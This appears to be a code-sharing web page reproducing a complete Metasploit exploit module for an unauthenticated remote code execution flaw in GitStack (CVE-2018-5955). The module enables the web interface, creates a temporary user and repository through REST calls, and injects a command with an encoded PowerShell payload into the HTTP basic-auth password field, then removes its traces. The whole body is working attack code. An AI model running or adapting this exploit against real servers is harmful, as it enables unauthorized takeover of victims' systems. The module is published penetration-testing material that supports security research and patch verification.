扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'GitStack Unsanitized Argument RCE', 'Description'=> %q{ This module exploits a remote code execution vulnerability that exists in GitStack through v2.3.10, caused by an unsanitized argument being passed to an exec function call. This module has been tested on GitStack v2.3.10. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Kacper Szurek',# Vulnerability discovery and PoC 'Jacob Robles'# Metasploit module ], 'References' => [ ['CVE', '2018-5955'], ['EDB', '43777'], ['EDB', '44044'], ['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Targets'=> [['Automatic', {}]], 'Privileged' => true, 'DisclosureDate' => 'Jan 15 2018', 'DefaultTarget'=> 0)) end def check_web begin res = send_request_cgi({ 'uri' =>'/rest/settings/general/webinterface/', 'method'=> 'GET' }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 if res.body =~ /true/ vprint_good('Web interface is enabled') return true else vprint_error('Web interface is disabled') return false end else print_error('Unable to determine status of web interface') return nil end end def check_repos begin res = send_request_cgi({ 'uri' =>'/rest/repository/', 'method'=>'GET', }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 begin mylist = res.get_json_document rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") return nil end if mylist.length == 0 vprint_error('No repositories found') return false else vprint_good('Repositories found') return mylist end else print_error('Unable to determine available repositories') return nil end end def update_web(web) data = {'enabled' => web} begin res = send_request_cgi({ 'uri' =>'/rest/settings/general/webinterface/', 'method'=>'PUT', 'data'=>data.to_json }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") end end def create_repo repo = Rex::Text.rand_text_alpha(5) c_token = Rex::Text.rand_text_alpha(5) begin res = send_request_cgi({ 'uri' =>'/rest/repository/', 'method'=>'POST', 'cookie'=>"csrftoken=#{c_token}", 'vars_post' =>{ 'name'=>repo, 'csrfmiddlewaretoken' =>c_token } }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") return repo else print_status('Unable to create repository') return nil end end def delete_repo(repo) begin res = send_request_cgi({ 'uri' =>"/rest/repository/#{repo}/", 'method'=>'DELETE' }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") else print_status('Failed to delete repository') end end def create_user user = Rex::Text.rand_text_alpha(5) pass = user begin res = send_request_cgi({ 'uri' => '/rest/user/', 'method'=>'POST', 'vars_post' =>{ 'username'=>user, 'password'=>pass } }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("Created user: #{user}") return user else print_error("Failed to create user") return nil end end def delete_user(user) begin res = send_request_cgi({ 'uri' =>"/rest/user/#{user}/", 'method'=>'DELETE' }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") else print_status('Delete user unsuccessful') end end def mod_user(repo, user, method) begin res = send_request_cgi({ 'uri' =>"/rest/repository/#{repo}/user/#{user}/", 'method'=>method }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") else print_status('Unable to add/remove user from repo') end end def repo_users(repo) begin res = send_request_cgi({ 'uri' =>"/rest/repository/#{repo}/user/", 'method'=>'GET' }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 begin users = res.get_json_document users -= ['everyone'] rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") users = nil end else return nil end return users end def run_exploit(repo, user, cmd) begin res = send_request_cgi({ 'uri' =>'/web/index.php', 'method'=>'GET', 'authorization' =>basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"), 'vars_get'=>{ 'p' =>"#{repo}.git", 'a' =>'summary' } }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end end def exploit command = cmd_psh_payload( payload.encoded, payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true } ) fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110 web = check_web repos = check_repos if web.nil? || repos.nil? return end unless web update_web(!web) # Wait for interface sleep 8 end if repos pwn_repo = repos[0]['name'] else pwn_repo = create_repo end r_users = repo_users(pwn_repo) if r_users.present? pwn_user = r_users[0] run_exploit(pwn_repo, pwn_user, command) else pwn_user = create_user if pwn_user mod_user(pwn_repo, pwn_user, 'POST') run_exploit(pwn_repo, pwn_user, command) mod_user(pwn_repo, pwn_user, 'DELETE') delete_user(pwn_user) end end unless web update_web(web) end unless repos delete_repo(pwn_repo) end end end |
体验盒子
